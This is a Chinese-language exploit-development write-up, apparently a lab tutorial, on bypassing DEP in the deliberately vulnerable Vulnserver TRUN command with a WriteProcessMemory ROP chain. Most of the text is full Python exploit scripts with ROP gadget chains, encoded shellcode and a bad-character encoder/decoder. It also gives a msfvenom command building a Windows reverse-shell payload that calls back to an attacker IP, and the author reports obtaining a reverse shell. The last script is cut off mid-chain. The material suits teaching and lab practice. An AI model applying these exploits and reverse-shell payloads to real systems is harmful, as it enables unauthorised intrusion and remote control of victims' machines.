这次,用WriteProcessMemory来Bypass DEP,看一下WriteProcessMemory的函数原型:
1 2 3 4 5 6 7 BOOL WriteProcessMemory ( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ) ;
hProcess:要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITE 和 PROCESS_VM_OPERATION 访问权限。
lpBaseAddress:指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。
lpBuffer:指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。
nSize:要写入指定进程的字节数。
lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWritten 为NULL,则忽略该参数。
根据函数各参数的说明,在Bypass DEP的时候,各参数的设置情况:
hProcess:提供一个伪句柄,指定为特定的常量-1,当WriteProcessMemory API被调用的时候,它会将-1转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。
lpBaseAddress:这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null字符。
在windbg中看一眼:
这里可以使用的是essfunc.dll。
依据PE相关知识,获取代码段地址的步骤:
DOS Header + 0x3c指向PE Header:
PE Header + 0x2c指向代码段:
来获取essfunc.dll的代码段地址:
获取的代码段地址为62501000,看一下对应的内存属性:
定位到代码段某一地址(这里62501c00 ,后续考虑地址不包含00字符,选择62501c10作为lpBaseAddress的值):
lpBuffer:保存shellcode所在地址,这个地址需要到执行栈溢出之后,才能确定。
nSize:shellcode的大小。几乎所以metasploit产生的shellcode大小都是小于500bytes,所以我们可以指定任意值,这里用-524(0xfffffdf4)代替,然后取反即可。换做ROP Gadget就是先把0xfffffdf4存入某个寄存器,如EAX,然后NEG EAX即可。
lpNumberOfBytesWritten:指向一个可写的DWORD空间,用于保存WriteProcessMemory复制的byte数目。比较简单的方法是将其保存到essfunc.dll的数据段里面,来看一下:
确认数据段里面的空间没有被使用:
段需要对齐,可以查看section alignment的对齐为1000:
前面2000+24的值不为1000的整数倍,所以后续会补00,直到它为1000的整数倍为止。我们在取值的时候+4正好可以落在为了补齐增加的00空间里,不需要刻意到前面去查找。
接下来,就是在essfunc.dll的IAT中找是否存在WriteProcessMemory,利用!dh essfunc.dll -f查看IAT地址和偏移时发现都是空,有点诡异。
在windbg用命令dps essfunc L2000查看,找到一些信息:
借用之前文章《Sync Breeze 10.0.28 bypass DEP》 的方法获取WriteProcessMemory的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:
根据以上信息,WriteProcessMemory函数的部分参数是可以提前确定的:
1 2 3 4 5 6 7 func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 )
现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。
这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777878 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d )
完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets源于开启ASLR的DLL,ESSFUNC.DLL中不具备完全的ROP Chain生成要素)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 """ Vulnserver TRUN exploit (ROP, DEP bypass). Vulnerable Software: Vulnserver Version: 1.00 Exploit Author: Andres Roldan Tested On: Windows 10 20H2 Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/ """ import socketimport structHOST = '192.168.91.142' PORT = 9999 shellcode = b"" shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4" shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12" shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e" shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99" shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3" shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe" shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1" shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92" shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f" shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a" shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72" shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4" shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61" shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a" shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad" shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d" shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac" shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41" shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25" shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e" shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4" shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4" shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9" shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc" shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e" shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0" shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e" shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61" shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1" shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77" shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20" shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35" func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777878 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"C" * (3000 -2006 -32 -len(rop1)-len(shellcode)) PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *128 + shellcode+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
执行,出现问题了:
因为msfvenom解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets。
自定义shellcode :这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter生成存在00字符时,改变指令的方法。这里利用外国友人的脚本 ,来生成shellcode:
注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。
将利用脚本里面的shellcode部分替换成这里生成的shellcode,再次执行,喜闻乐见的反弹shell出现了:
编码和解码shellcode: 这种方法稍微复杂点,需要增加一些解码的ROP Gadget,在构建ROP Chain的时候,随着解码坏字符的ROP Gadget的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 def mapBadChars (sh) : BADCHARS = b"\x00" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00" REPLACECHARS = b"\xff" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00" CHARSTOADD = b"\x01" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop
这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01。我这里是从shellcode的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100,这里ROP Gadget使用DL,为了保证其他为不会出现00,所以使用了0x11111111,另外不局限于DL,AL,AH,BL,BH等等都可以,关键在于能够找到符合要求的ROP Gadget。
考虑到ROP Gadgets会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets:
1 2 3 4 5 6 7 8 9 10 11 12 rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777988 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 )
这里使用0x88888888+0x77777988=0000000100000210(高8位 截断,所以为0x210),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets进行处理,加上处理WriteProcessMemory三个参数的ROP Gadgets,再加上对齐shellcode的ROP Gadgets和改变ESP到执行流的ROP Gadgets。
可以看到已经指向了\x90区域。
后续需要注意的就是,解码之前需要让ESP正好指向shellcode开始的部分,我这里的ROP Gadgets如下:
1 2 3 4 rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" ,0xfffffda8 ) rop1 += struct.pack("<L" , 0x772974e4 )
还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom仅需生成原始shellcode即可。如本地使用如下:
1 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 import socketimport structHOST = '192.168.91.160' PORT = 9999 def mapBadChars (sh) : BADCHARS = b"\x00" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00" REPLACECHARS = b"\xff" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00" CHARSTOADD = b"\x01" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop def main () : shellcode = b"" shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0" shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b" shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61" shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11" shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3" shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6" shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b" shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11" shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74" shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75" shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d" shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12" shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a" shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" shellcode += b"\x6a\x00\x53\xff\xd5" pos = mapBadChars(shellcode) print(pos) encodedRevShell = encodeShellcode(shellcode) func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x77777988 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758fe636 ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x749f4480 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" , 0xfffffdf4 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x772f4302 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x74a01e84 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x62506090 ) rop1 += struct.pack("<L" , 0x75fd7518 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x7557771b ) rop1 += struct.pack("<L" , 0xfffd9df0 ) rop1 += struct.pack("<L" , 0x758f15ce ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 += struct.pack("<L" , 0x76068122 ) rop1 += struct.pack("<L" , 0x754e2d6d ) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x75f84c67 ) rop1 += struct.pack("<L" , 0x772a5a6f ) rop1 += struct.pack("<L" ,0xfffffda8 ) rop1 += struct.pack("<L" , 0x772974e4 ) rop1 += decodeShellcode(0 , pos, shellcode) rop1 += struct.pack("<L" , 0x7730e63c ) rop1 += struct.pack("<L" , 0x749f2002 ) padding = b"\x44" * 16 PAYLOAD = ( b'TRUN .' + b'A' * (2006 -len(func)) + func + eip + rop1 + b"\x90" *80 + encodedRevShell+ padding ) with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD) if __name__ == "__main__" : main()
喜闻乐见的反弹shell如下:
单坏字符,用于解码的ROP Gadgets一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets会很长,最终可能因为栈空间不够,导致shellcode受到挤压,后续被截断,最终导致利用失败。
尝试7个坏字符时,最后因为栈空间不够导致shellcode被截断了。最终,试了3个坏字符的情况,还算正常。利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 import socketimport structHOST = '192.168.91.160' PORT = 9999 def mapBadChars (sh) : BADCHARS = b"\x00\x09\x0a" i = 0 badIndex = [] while i < len(sh): for c in BADCHARS: if sh[i] == c: badIndex.append(i) i=i+1 return badIndex def encodeShellcode (sh) : BADCHARS = b"\x00\x09\x0a" REPLACECHARS = b"\xff\x10\x06" encodedShell = sh for i in range(len(BADCHARS)): encodedShell = encodedShell.replace(struct.pack("B" , BADCHARS[i]), struct.pack("B" , REPLACECHARS[i])) return encodedShell def decodeShellcode (dllBase, badIndex, shellcode) : BADCHARS = b"\x00\x09\x0a" CHARSTOADD = b"\x01\xf9\x04" restoreRop = b"" for i in range(len(badIndex)): if i == 0 : offset = badIndex[i] else : offset = badIndex[i] - badIndex[i-1 ] neg_offset = (-offset) & 0xffffffff value = 0 for j in range(len(BADCHARS)): if shellcode[badIndex[i]] == BADCHARS[j]: value = CHARSTOADD[j] value = (value) | 0x11111100 print(hex(value)) restoreRop += struct.pack("<L" , (dllBase + 0x7637768e )) restoreRop += struct.pack("<L" , (neg_offset)) restoreRop += struct.pack("<L" , (dllBase + 0x758ba9a8 )) restoreRop += struct.pack("<L" , (0x7721aed0 )) restoreRop += struct.pack("<L" , (value)) restoreRop += struct.pack("<L" , (dllBase + 0x755bc4eb )) return restoreRop def main () : shellcode = b"" shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0" shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b" shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61" shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2" shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11" shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3" shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6" shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b" shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c" shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a" shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68" shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40" shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97" shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11" shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74" shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75" shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d" shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12" shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56" shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc" shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a" shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" shellcode += b"\x6a\x00\x53\xff\xd5" pos = mapBadChars(shellcode) print(pos) encodedRevShell = encodeShellcode(shellcode) func = struct.pack("<L" ,0x45454545 ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0xFFFFFFFF ) func += struct.pack("<L" ,0x62501c10 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x41414141 ) func += struct.pack("<L" ,0x62502028 ) eip = struct.pack("<L" ,0x62501022 ) rop1 = struct.pack("<L" , 0x755912d6 ) rop1 += struct.pack("<L" , 0x755b671f ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x7728bdf4 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x41414141 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x88888888 ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x758cc157 ) rop1 += struct.pack("<L" , 0x7777798c ) rop1 += struct.pack("<L" , 0x75515163 ) rop1 += struct.pack("<L" , 0x772a9052 ) rop1 